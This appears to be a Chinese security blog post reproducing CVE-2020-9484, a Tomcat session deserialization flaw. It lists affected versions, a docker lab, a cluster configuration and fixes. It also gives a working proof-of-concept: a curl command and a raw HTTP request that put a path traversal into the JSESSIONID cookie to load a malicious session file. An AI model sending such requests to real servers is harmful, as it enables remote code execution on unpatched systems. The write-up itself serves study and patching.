CVE-2020-9484 (Tomcat cluster sync-session)复现

 

​CVE-2020-9484 


一、漏洞简介

 

对于一个企业级应用而言,Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中,当服务器由于故障重启,或应用重新加载 时候,此时的Session信息将全部丢失。为了避免这样的情况,在某些场合可以将服务器的Session数据存放在文件系统或数据库中,这样的操作称为 Session对象的持久化。Session对象在持久化时,存放在其中的对象以序列化的形式存放,这就是为什么一般存放在Session中的数据需要实 现可序列化接口(java.io.Serializable)的原因了。

当一个Session开始时,Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中,在需要访问 HttpSession信息时再把它们加载到内存中。(tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。)

 

二、影响版本和不影响版本

受影响产品版本

Apache Tomcat 10.x < 10.0.0-M5

Apache Tomcat 9.x < 9.0.35

Apache Tomcat 8.x < 8.5.55

Apache Tomcat 7.x < 7.0.104

不受影响产品版本

Apache Tomcat 10.x >= 10.0.0-M5

Apache Tomcat 9.x >= 9.0.35

Apache Tomcat 8.x >= 8.5.55

Apache Tomcat 7.x >= 7.0.104

 

三、漏洞复现

实验环境:后台回复“CVE-2020-9484”获取环境或者git clone https://github.com/masahiro331/CVE-2020-9484.git

$ git clone https://github.com/masahiro331/CVE-2020-9484.git$ cd CVE-2020-9484$ docker build -t tomcat:groovy .$ docker run -d -p 8080:8080 tomcat:groovy

拉取docker镜像

两个tomcat模拟集群

开始服务 docker run -d -p 8080:8080 tomcat:groovy

访问http://192.168.0.102:8080/

查看/tmp下面的文件

漏洞执行POC通过JSESSION加载恶意的session持久化文件

curl 'http://192.168.0.102:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

或者抓包执行

GET /index.jsp HTTP/1.1Host: 192.168.0.102:8080Cookie: JSESSIONID=JSESSIONID=../../../../../usr/local/tomcat/groovy

执行图片

查看/tmp下面的文件

### tomcat-session同步配置

<Server>    ...        <Service>        ...                <Engine>            ...                        <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"                    channelSendOptions="6">                                <Manager className="org.apache.catalina.ha.session.BackupManager"                      expireSessionsOnShutdown="false"                      notifyListenersOnReplication="true"                      mapSendOptions="6"/>                                            <Channel className="org.apache.catalina.tribes.group.GroupChannel">                      <Membership className="org.apache.catalina.tribes.membership.McastService"                        address="228.0.0.4"                        port="45564"                        frequency="500"                        dropTime="3000"/>                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"                        address="123.123.123.123"                        port="5000"                        selectorTimeout="100"                        maxThreads="6"/>                                  <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>                      </Sender>                    </Channel>                                <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>                                <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"                      tempDir="/tmp/war-temp/"                      deployDir="/tmp/war-deploy/"                      watchDir="/tmp/war-listen/"                      watchEnabled="false"/>                                <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>            </Cluster>        </Engine>  </Service></Server>

 

四、修复方案

1)升级tomcat至最新版本

2)关闭session持久化

3)检查项目中是否存在文件名和后缀均可控的上传点

 

参考:

https://github.com/masahiro331/CVE-2020-9484

https://mp.weixin.qq.com/s/mHwBEHhm6_IoxHfWb9UY-A

https://www.cnblogs.com/potatsoSec/p/12931427.html 

 

实验环境:后台回复“CVE-2020-9484”获取环境

或者git clone https://github.com/masahiro331/CVE-2020-9484.git

 

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

 


 

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

 

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值